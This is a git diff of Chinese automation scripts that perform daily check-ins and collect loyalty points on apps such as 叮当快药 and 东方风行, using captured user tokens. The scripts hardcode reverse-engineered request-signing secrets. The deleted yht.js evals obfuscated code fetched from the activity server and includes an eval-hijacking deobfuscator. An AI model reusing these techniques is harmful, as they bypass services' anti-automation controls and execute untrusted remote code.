- case "Stash":
- case "Egern":
- case "Shadowrocket":
- default:
- $notification.post(r, o, i, a);
- break;
- case "Quantumult X":
- $notify(r, o, i, a);
- case "Node.js":
- }
- t.group("📣 系统通知"), t.log(r, o, i, JSON.stringify(a, null, 2)), t.groupEnd()
- }?.(Wt, Xt, a), {
- summary: a,
- reporter: s
- }
-}
-const Vt = c.displayName,
- {
- runStart: Gt,
- runFailed: Qt
- } = l;
-!async function() {
- try {
- t.log(`\n${Vt} ${Gt}`), await Kt(ct())
- } catch (e) {
- t.log(`${Vt} ${Qt}: ${e?.message||String(e)}`), t.error(e instanceof Error ? e : new Error(String(e)))
- } finally {
- ! function(n = {}) {
- switch (e) {
- case "Surge":
- n.policy && r.set(n, "headers.X-Surge-Policy", n.policy), t.log("🚩 执行结束!", `🕛 ${(new Date).getTime()/1e3-$script.startTime} 秒`), $done(n);
- break;
- case "Loon":
- n.policy && (n.node = n.policy), t.log("🚩 执行结束!", `🕛 ${(new Date-$script.startTime)/1e3} 秒`), $done(n);
- break;
- case "Stash":
- n.policy && r.set(n, "headers.X-Stash-Selected-Proxy", encodeURI(n.policy)), t.log("🚩 执行结束!", `🕛 ${(new Date-$script.startTime)/1e3} 秒`), $done(n);
- break;
- case "Egern":
- case "Shadowrocket":
- t.log("🚩 执行结束!"), $done(n);
- break;
- case "Quantumult X":
- switch (n.policy && r.set(n, "opts.policy", n.policy), typeof(n = r.pick(n, ["status", "url", "headers", "body", "bodyBytes"])).status) {
- case "number":
- n.status = `HTTP/1.1 ${n.status} ${o[n.status]}`;
- break;
- case "string":
- case "undefined":
- break;
- default:
- throw new TypeError(`${Function.name}: 参数类型错误, status 必须为数字或字符串`)
- }
- n.body instanceof ArrayBuffer ? (n.bodyBytes = n.body, n.body = void 0) : ArrayBuffer.isView(n.body) ? (n.bodyBytes = n.body.buffer.slice(n.body.byteOffset, n.body.byteLength + n.body.byteOffset), n.body = void 0) : n.body && (n.bodyBytes = void 0), t.log("🚩 执行结束!"), $done(n);
- break;
- case "Node.js":
- t.log("🚩 执行结束!"), process.exit(1);
- break;
- default:
- t.log("🚩 执行结束!")
- }
- }({})
- }
-}();
\ No newline at end of file
diff --git a/daily/yht.js b/daily/yht.js
deleted file mode 100644
index d3f9caa7..00000000
--- a/daily/yht.js
+++ /dev/null
@@ -1,250 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description:
-@cron: 30 8 * * *
-------------------------------------------
-益禾堂 qm-user-token
-------------------------------------------
-
-*/
-window = {}
-const {
- Env
-} = require("../tools/env")
-const $ = new Env("益禾堂");
-let ckName = `yht`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
- this.activityUrl = ''
-
- }
-
- async run() {
-
- await this.getLoginUrl()
-
- await this.getActivityToken()
- let key = await this.getActivityKey()
- await this.doSign(key)
-
- }
- async getLoginUrl() {
- let options = {
- method: 'POST',
- url: `https://webapi.qmai.cn/web/catering/crm/member/redirect`,
- headers: {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027',
- 'Accept': 'v=1.0',
- 'Content-Type': 'application/json',
- 'xweb_xhr': '1',
- 'gdt-vid': '',
- 'work-staff-name': '',
- 'channelcode': '',
- 'work-wechat-userid': '',
- 'qz-gtd': '',
- 'qm-from-type': 'catering',
- 'accept-language': 'zh-CN',
- 'scene': '1101',
- 'qm-from': 'wechat',
- 'qm-user-token': '' + this.token,
- 'work-staff-id': '',
- 'multi-store-id': '',
- 'store-id': '203009',
- 'promotion-code': '',
- 'sec-fetch-site': 'cross-site',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-dest': 'empty',
- 'referer': 'https://servicewechat.com/wx4080846d0cec2fd5/517/page-frame.html',
- 'priority': 'u=1, i'
- },
- data: {
- "redirectUrl": "https://86019.activity-12.m.duiba.com.cn/chw/visual-editor/skins?id=203576",
- "appid": "wx4080846d0cec2fd5"
- }
- }
- let {
- data: result
- } = await axios.request(options);
- if (result.data && result.status) {
- this.activityUrl = result.data
- return result.data
-
- }
-
-
-
- }
- ObjectKeys2LowerCase(e) { return e = Object.fromEntries(Object.entries(e).map((([e, t]) => [e.toLowerCase(), t]))), new Proxy(e, { get: function (e, t, r) { return Reflect.get(e, t.toLowerCase(), r) }, set: function (e, t, r, n) { return Reflect.set(e, t.toLowerCase(), r, n) } }) }
-
- async getActivityToken() {
-
-
- const opts = {
- method: "GET",
- url: this.activityUrl,
- maxRedirects: 0,
- // 关键点 2: 默认 Axios 认为非 2xx 是错误,需定义 302 为合法状态
- validateStatus: function (status) {
- return status >= 200 && status < 400; // 允许 302 (或 3xx) 进入 .then
- },
- headers: {}
- }
- let res = await axios.request(opts);
-
- let headers = this.ObjectKeys2LowerCase(res?.headers);
- //对青龙进行兼容
- let session = Array.isArray(headers['set-cookie']) ? [...new Set(headers['set-cookie'])].join("") : headers['set-cookie'];
-
- let [wdata4, w_ts, _ac, wdata3, dcustom] = session.match(/(wdata4|w_ts|_ac|wdata3|dcustom)=.+?;/g)
- this.session = wdata4 + w_ts + _ac + wdata3 + dcustom;
- $.log(`✅ 获取活动token成功!`)
-
-
-
- }
- async getActivityKey() {
-
- let options = {
- method: 'POST',
- url: `https://86019-activity.dexfu.cn/chw/ctoken/getToken`,
- headers: {
- 'Content-type': 'application/x-www-form-urlencoded',
- 'Cookie': this.session,
- },
- data: {
- timestamp: Date.now(),
-
- }
-
- }
- let {
- data: result
- } = await axios.request(options);
- if (result.success) {
- // 自动修复:将旧式八进制 (如 0123) 替换为现代写法 (0o123)
- // 匹配以 0 开头后面跟数字,且不含 x (十六进制) 或 b (二进制) 的部分
- const fixedCode = result.token.replace(/\b0([0-7]+)\b/g, '0o$1');
- eval(fixedCode)
- return window['620fa72t']
-
- }
- }
- async doSign(key) {
- let data = ({
- 'signOperatingId': '326649747164581',
- 'token': '' + key
- });
-
- let options = {
- method: 'POST',
- url: 'https://86019-activity.dexfu.cn/sign/component/doSign?_=' + Date.now(),
- headers: {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249',
- 'Accept': 'application/json, text/plain, */*',
- 'Content-Type': 'application/x-www-form-urlencoded',
- 'origin': 'https://86019-activity.dexfu.cn',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-dest': 'empty',
- 'referer': 'https://86019-activity.dexfu.cn/sign/component/page?signOperatingId=326649747164581',
- 'accept-language': 'zh-CN,zh;q=0.9',
- 'Cookie': this.session
- },
- data: data
- };
- let {
- data: result
- } = await axios.request(options);
- console.log(result);
-
- /*if (result.success) {
- $.log(`✅ 签到成功!获得${result.data.signResult}积分`)
- }*/
-
- }
- /**
-* 通用 eval 混淆解密函数(动态执行劫持)
-* @param {string} obfuscatedCode - 原始的混淆代码
-* @returns {string} - 解密后的真实代码
-*/
- decryptByHookingEval(obfuscatedCode) {
- let decryptedCode = "";
-
- // 1. 备份系统原生的 eval
- const originalEval = globalThis.eval;
-
- try {
- // 2. 劫持全局 eval 函数
- globalThis.eval = function (payload) {
- decryptedCode = payload; // 将解密后的字符串保存下来
- // 重要:不往下执行原生的 eval,从而阻止危险/恶意代码实际运行
- };
-
- // 3. 构造一个沙箱函数并执行混淆代码的外壳
- // 外壳代码会执行所有的解密运算,并最终调用我们上面劫持的 eval()
- const runner = new Function(obfuscatedCode);
- runner();
-
- } catch (error) {
- console.error("执行解密外壳时发生错误:", error);
- } finally {
- // 4. 无论成功与否,务必恢复系统的 eval,避免影响其他正常业务
- globalThis.eval = originalEval;
- }
-
- return decryptedCode || "未能拦截到 eval 调用,可能代码结构不适用此方法。";
- }
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- console.log(`1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。`)
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout: 3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) { }
-
-}
\ No newline at end of file
diff --git a/daily/zbs.js b/daily/zbs.js
deleted file mode 100644
index 1b9b90f6..00000000
--- a/daily/zbs.js
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
-------------------------------------------
-@Author: sm
-@Date: 2024.06.07 19:15
-@Description: 植白说小程序
-cron: 30 8 * * *
-------------------------------------------
-#Notice:
-变量名称:zbs
-值抓取https://www.kozbs.com/demo 请求头x-dts-token
-
-⚠️【免责声明】
-------------------------------------------
-1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。
-2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。
-3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。
-4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。
-5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。
-6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。
-7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。
-*/
-
-const { Env } = require("../tools/env")
-const $ = new Env("植白说小程序");
-let ckName = `zbs`;
-const strSplitor = "#";
-const axios = require("axios");
-const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram"
-
-
-class Task {
- constructor(env) {
- this.index = $.userIdx++
- this.user = env.split(strSplitor);
- this.token = this.user[0];
-
- }
- request(options) {
- let baseHeraders = {
-
- "accept": "*/*",
- "accept-language": "zh-CN,zh;q=0.9",
- "content-type": "application/json",
- "priority": "u=1, i",
- "sec-fetch-dest": "empty",
- "sec-fetch-mode": "cors",
- "sec-fetch-site": "cross-site",
- "x-dts-token": "" + this.token,
- "xweb_xhr": "1",
-
- "User-Agent": defaultUserAgent,
- }
- options.headers = Object.assign(baseHeraders, options.headers)
- return axios.request(options)
- }
- async run() {
-
- await this.signIn()
- }
-
- async signIn() {
- let options = {
- method: 'GET',
- url: "https://www.kozbs.com/demo/wx/home/sign?userId=",
- headers: {},
-
- };
- let { data: result } = await this.request(options);
- if (result?.errno == '0') {
- //打印签到结果
- $.log(`🌸账号[${this.index}]` + `签到成功🎉`);
- } else {
- $.log(`🌸账号[${this.index}] 签到-失败:${result.errmsg}❌`)
- }
-
-
-
-
- }
- async getPoints() {
- let options = {
- method: 'GET',
- url: "https://www.kozbs.com/demo/wx/user/getUserIntegral?userId=",
- headers: {},
-
- };
- let { data: result } = await this.request(options);
- if (result?.errno == '0') {
- //打印签到结果
- $.log(`🌸账号[${this.index}]` + `当前积分` + `${result.data.integer}🎉`);
- } else {
- $.log(`🌸账号[${this.index}] 获取积分-失败:${result.errmsg}❌`)
- }
- }
-
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
diff --git a/ddsy_songyao.js b/ddsy_songyao.js
new file mode 100644
index 00000000..0c02e25c
--- /dev/null
+++ b/ddsy_songyao.js
@@ -0,0 +1,180 @@
+/**
+ * cron 27 19 * * * ddsy_songyao.js
+ * Show:叮当快药APP 积分抵钱 我的=>签到有礼
+ * 变量名:ddsy_songyao
+ * 变量值:https://hapi.ddky.com/mcp/weixin/rest.htm?后面的loginToken&userId&uDate 多账户@
+ * scriptVersionNow = "0.0.1";
+ * /
+ */
+
+const $ = new Env("叮当快药APP");
+const notify = $.isNode() ? require('./sendNotify') : '';
+let ckName = "ddsy_songyao";
+let envSplitor = ["@", "\n"]; //多账号分隔符
+let strSplitor = "&"; //多变量分隔符
+let userIdx = 0;
+let userList = [];
+class UserInfo {
+ constructor(str) {
+ this.index = ++userIdx;
+ this.token = str.split(strSplitor)[0]; //单账号多变量分隔符
+ this.ckStatus = true;
+ this.userId = str.split(strSplitor)[1];
+ this.uDate = str.split(strSplitor)[2];
+ }
+ async main() {
+ await this.getSignInId()
+ }
+ getSign(s) {
+ const crypto = require("crypto");//SIGN TYPE 1是签到 2是补签
+ return crypto.createHash('md5').update(s).digest('hex');
+ }
+ getTime() {
+ var now = new Date();
+ var year = now.getFullYear()
+ , month = now.getMonth() + 1
+ , day = now.getDate()
+ , hours = now.getHours()
+ , minutes = now.getMinutes()
+ , seconds = now.getSeconds();
+ return year + '-' + month + '-' + day + ' ' + hours + ':' + minutes + ':' + seconds;
+ }
+ getSignDay() {
+ var now = new Date();
+ var year = now.getFullYear()
+ , month = now.getMonth() + 1
+ , day = now.getDate()
+ return year + '-' + month + '-' + day
+ }
+ async getSignInId() {
+ const time = this.getTime()
+ const method = `ddky.promotion.signin.pageinfo`
+ const signDay = this.getSignDay()
+ const str = method +
+ `loginToken${this.token}` +
+ `method${method}` +
+ `platH5` +
+ `platformH5` +
+ `signDay${signDay}` +
+ `t${time}` +
+ `uDate${this.uDate}` +
+ `userId${this.userId}` +
+ `v1.0` +
+ `versionName4.9.0` +
+ `6C57AB91A1308E26B797F4CD382AC79D`
+ let sign = (this.getSign(str)).toUpperCase();
+ let callbackStr = new Date().getTime()
+ try {
+ let options = {
+ url: `https://hapi.ddky.com/mcp/weixin/rest.htm?sign=${sign}&loginToken=${this.token}&method=${method}&plat=H5&platform=H5&signDay=${signDay}&t=${time}&uDate=${this.uDate}&userId=${this.userId}&v=1.0&versionName=4.9.0&callback=Zepto${callbackStr}`,
+ headers: {},
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ result = result.replace(`Zepto${callbackStr}`, "")
+ result = result.replaceAll("(", "")
+ result = result.replaceAll(")", "")
+ result = JSON.parse(result)
+ if(result.code = "0"){
+ console.log(result.result.signDayVo.signinId);
+ await this.user_info(result.result.signDayVo.signinId)
+ }
+
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async user_info(signInId) {
+ let callbackStr = new Date().getTime()
+
+ const time = this.getTime()
+ const str = `ddky.promotion.signin.sign` + `channelH5` + `laterSignType1` + `loginToken${this.token}` + `methodddky.promotion.signin.sign` +
+ `platH5` + `platformH5` + `signinId${signInId}` + `t${time}` + `uDate${this.uDate}` + `userId${this.userId}` + `v1.0` + `versionName4.9.0` +
+ `6C57AB91A1308E26B797F4CD382AC79D`
+ let sign = (this.getSign(str)).toUpperCase();
+ try {
+ let options = {
+ url: `https://hapi.ddky.com/mcp/weixin/rest.htm?sign=${sign}&channel=H5&laterSignType=1&loginToken=${this.token}&method=ddky.promotion.signin.sign&plat=H5&platform=H5&signinId=${signInId}&t=${time}&uDate=${this.uDate}&userId=${this.userId}&v=1.0&versionName=4.9.0&callback=Zepto${callbackStr}`,
+ headers: {},
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ console.log(result);
+ } catch (e) {
+ console.log(e);
+ }
+ }
+}
+
+async function start() {
+ let taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ taskall.push(await user.main());
+ }
+ }
+ await Promise.all(taskall);
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if (userList.length > 0) {
+ await start();
+ }
+})()
+ .catch((e) => console.log(e))
+ .finally(() => $.done());
+
+//********************************************************
+/**
+ * 变量检查与处理
+ * @returns
+ */
+async function checkEnv() {
+ let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "";
+ if (userCookie) {
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n));
+ } else {
+ console.log("未找到CK");
+ return;
+ }
+ return console.log(`共找到${userList.length}个账号`), true; //true == !0
+}
+
+/////////////////////////////////////////////////////////////////////////////////////
+function httpRequest(options, timeout = 5 * 1000) {
+ method = options.method
+ ? options.method.toLowerCase()
+ : options.body
+ ? "post"
+ : "get";
+ return new Promise((resolve) => {
+ setTimeout(() => {
+ $[method](options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(JSON.stringify(err));
+ $.logErr(err);
+ } else {
+ try {
+ data = JSON.parse(data);
+ } catch (error) { }
+ }
+ } catch (e) {
+ console.log(e);
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ });
+ }, timeout);
+ });
+}
+// prettier-ignore
+function Env(t, s) { return new (class { constructor(t, s) { (this.name = t), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.logSeparator = "\n"), (this.startTime = new Date().getTime()), Object.assign(this, s), this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } getScript(t) { return new Promise((s) => { this.get({ url: t }, (t, e, i) => s(i)) }) } runScript(t, s) { return new Promise((e) => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let o = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (o = o ? 1 * o : 20), (o = s && s.timeout ? s.timeout : o); const [h, a] = i.split("@"), r = { url: `http://${a}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: o }, headers: { "X-Key": h, Accept: "*/*" }, }; this.post(r, (t, s, i) => e(i)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s); if (!e && !i) return {}; { const i = e ? t : s; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s), o = JSON.stringify(this.data); e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o) } } lodash_get(t, s, e) { const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); let o = t; for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e; return o } lodash_set(t, s, e) { return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), t)[s[s.length - 1]] = e), t) } getdata(t) { let s = this.getval(t); if (/^@/.test(t)) { const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), o = e ? this.getval(e) : ""; if (o) try { const t = JSON.parse(o); s = t ? this.lodash_get(t, i, "") : s } catch (t) { s = "" } } return s } setdata(t, s) { let e = !1; if (/^@/.test(s)) { const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), h = this.getval(i), a = i ? ("null" === h ? null : h || "{}") : "{}"; try { const s = JSON.parse(a); this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i)) } catch (s) { const h = {}; this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i)) } } else e = this.setval(t, s); return e } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null } setval(t, s) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, s = () => { }) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }) : this.isQuanX() ? $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, s) => { try { const e = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); this.ckjar.setCookieSync(e, null), (s.cookieJar = this.ckjar) } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h, } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t))) } post(t, s = () => { }) { if ((t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), delete t.headers["Content-Length"], this.isSurge() || this.isLoon())) $httpClient.post(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }); else if (this.isQuanX()) (t.method = "POST"), $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: e, ...i } = t; this.got.post(e, i).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) } } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))); return t } msg(s = t, e = "", i = "", o) { const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : "string" == typeof t ? this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : void 0 : "object" == typeof t && (t["open-url"] || t["media-url"]) ? this.isLoon() ? t["open-url"] : this.isQuanX() ? t : void 0 : void 0; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))), this.logs.push("", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="), this.logs.push(s), e && this.logs.push(e), i && this.logs.push(i) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } })(t, s) }
diff --git a/dffx.js b/dffx.js
new file mode 100644
index 00000000..b8c092d7
--- /dev/null
+++ b/dffx.js
@@ -0,0 +1,191 @@
+/**
+ * cron 45 19 * * * dffx.js
+ * Show:东方风行 APP
+ * @author https://github.com/smallfawn/QLScriptPublic
+ * 变量名:dffxCookie
+ * 变量值:https://lqdm-app.dflzm.com请求头Headers中Cookie
+ * scriptVersionNow = "0.0.1";
+ */
+
+const $ = new Env("东方风行");
+const notify = $.isNode() ? require('./sendNotify') : '';
+let ckName = "dffxCookie";
+let envSplitor = ["@", "\n"]; //多账号分隔符
+let strSplitor = "&"; //多变量分隔符
+let userIdx = 0;
+let userList = [];
+class UserInfo {
+ constructor(str) {
+ this.index = ++userIdx;
+ this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符
+ this.ckStatus = true;
+ this.artList = []//文章列表
+ this.taskList = []//任务列表
+ this.task_num_like = null //待做点赞任务数
+ this.task_num_share = null//待做转发任务数
+ this.userPoint = null
+
+ }
+ async main() {
+ $.log(`===== 开始第[${this.index}]个账号 =====`)
+ await this.user_info();
+ if (this.ckStatus) {
+ await this.addSign()
+
+ }
+
+ }
+
+
+ async addSign() {
+ try {
+ let options = {
+ fn: "签到",
+ method: "get",
+ url: `https://lqdm-app.dflzm.com/customer/app-vip-user/exterior/user/task/signIn?isReSign=0`,
+ }
+ options.headers = this.get_headers(options.method, options.url)
+ let { body: result } = await $.httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.code == 0) {
+ $.log(`✅[${options.fn}]成功🎉`)
+ } else {
+ console.log(`❌[${options.fn}]失败`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async user_info() {
+ try {
+ let options = {
+ fn: "信息查询",
+ method: "get",
+ url: `https://lqdm-app.dflzm.com/customer/app-vip-user/exterior/user/getMe`,
+ }
+ options.headers = this.get_headers(options.method, options.url)
+ let { body: result } = await $.httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.code == 0) {
+ //console.log(`✅账号[${this.index}] 欢迎用户: ${result.errcode}🎉`);
+ $.log(`✅[${result.data.nickname}][${result.data.phone}][${result.data.id}]当前积分[${result.data.integral}]🎉`)
+ this.ckStatus = true;
+ } else {
+ console.log(`❌[UserInfo]查询: 失败`);
+ this.ckStatus = false;
+ console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+
+
+
+ sha256(str) {
+ const crypto = require("crypto");
+ return crypto.createHash("sha256").update(str).digest("hex");
+
+ }
+ get_headers(method, url, body = "") {
+ url = url.replace("https://lqdm-app.dflzm.com", "")
+ let path = url.split('?')[0]
+ let params
+ if(url.split('?')[1]){
+ params = url.split('?')[1].split('&').sort().join("").toLowerCase()
+ }else{
+ params = ""
+ }
+ method = method.toUpperCase();
+ let timestamp = new Date().getTime()
+ const key = `3b8379a44daa6ab982c886d8bcdcc82a`
+ let str
+ if (method == "POST") {
+ str = `${method}${path}ice-auth-appkey:9831532554ice-auth-timestamp:${timestamp}json=${body}${params}${key}`
+ } else {
+ str = `${method}${path}ice-auth-appkey:9831532554ice-auth-timestamp:${timestamp}${params}${key}`
+
+ }
+ //console.log(encodeURIComponent(str))
+ const sign = this.sha256(encodeURIComponent(str))
+ return {
+ "Content-Type": "application/json;charset=UTF-8",
+ "User-Agent": "okhttp/3.14.9 (Android 10; Xiaomi MI 8 Lite Build/V11.0.2.0.QDTCNXM 3.2.6 40059 release dflqApp)",
